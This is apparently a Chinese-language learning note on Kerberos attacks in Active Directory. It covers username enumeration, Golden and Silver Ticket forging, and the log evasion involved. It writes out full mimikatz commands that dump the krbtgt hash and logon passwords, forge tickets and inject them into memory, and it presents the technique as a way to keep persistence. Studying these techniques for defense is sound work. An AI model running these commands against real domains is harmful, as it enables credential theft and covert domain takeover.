域渗透学习笔记五:攻击Kerbroes
用户名遍历
回顾Kerbroe的认证流程第一步:
- 1.Client请求Kerberos服务(请求中包含了Client Name 也就是用户名),如果主机名存在于ad中,就放回TGT给Client
如果Web测试做的多就知道第一步就存在用户名遍历问题。
票据伪造
Golden Ticket
AS_REP里面的ticket的encpart是使用krbtgt的hash进行加密的的来的,krbtgt用户的hash也是可以提取出来的,这就意味着ticket是可以自己计算出来的。Golden Ticket就是自己计算TGT去生成的TGS,换在买车票的比喻中就相当于伪造身份证去买票。
Golden Ticket价值和域控相似
伪造条件:
- Domain SID
- Domain name
- 需要krbtgt用户的hash
- 用户名随意
伪造过程
1.获取krbtgt hash
mimikatz "lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt" "exit" > krbtgthash.txt
2.生成票据文件
mimikatz "kerberos::golden /admin:CoolCat /domain:adstudy.com /sid:S-1-5-21-290613818-3246529070-3099575750 /krbtgt:b0164177afec62432418903208c1e247 /ticket:golden.kiribi" "exit"
其中sid最后一个“-”之后的要去掉,这个很细节。
3.将票据文件导入内存
mimikatz "kerberos::purge" "kerberos::ptt golden.kiribi" "kerberos::list" "exit"
图中红线前后为导入金票前后的权限差异。
值得一提的是目前这个金票只能在域内使用使用,不能跨域,涉及到跨域,域森林时该金票就被局限了,不过可以配合SIDHistory去生成包含根域的金票。
可参考:http://t3ngyu.leanote.com/post/7697c6e55644
Silver Tickets
已知目标机器的NTLM hash和域SID时,可以伪造任意用户访问目标机器上的指定服务。其过程不会与KDC通信,因此不会再KDC上留下任何痕迹,只会在目标机器和本机留下日志。可以利用的服务:
服务注释 | 服务名称 |
---|---|
WMI | HOST&RPCSS |
Powershell Remoteing | HOST&HTTP |
WinRM | HOST&HTTP |
Scheduled Tasks | HOST |
LDAP、DCSync | LDAP |
Windows File Share(CIFS) | CIFS |
Windows Remote Server Administration Tools | RPCSS&LDAP&CIFS |
伪造条件
-
Domain SID
-
Domain name
-
目标机器的NTLM hash
-
任意用户
伪造过程:
导出目标机器的hash:
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" > hash.txt
mimikatz "kerberos::golden /domain:adstudy.com /sid:S-1-5-21-290613818-3246529070-3099575750 /target:bot.adstudy.com /service:cifs /rc4:b0f256f8b3bca01555101864efef02ac /user:silver /ptt" "exit"
伪造成功后可使用klist查看票据,指令中伪造的服务是cifs,即Windows File Share(CIFS),在域内机器上测试的,本身就没限制,所以伪造了银票也没啥子用,就不截图了,如果伪造其他有权限限制机器上的服务即可越过限制。
总结
金票权限大,但是要过kdc,会留下日志。
银票局限在特定服务内使用,不过kdc,只在域服务机器上留下日志。
两者分别去读hash时都需要管理员权限,这是致命的缺陷,在攻击过程中就出现:
"有管理权限就可以直接读管理密码了,要金票银票何用?"
可以用在权限维持上。
参考文章:
也无风雨也无晴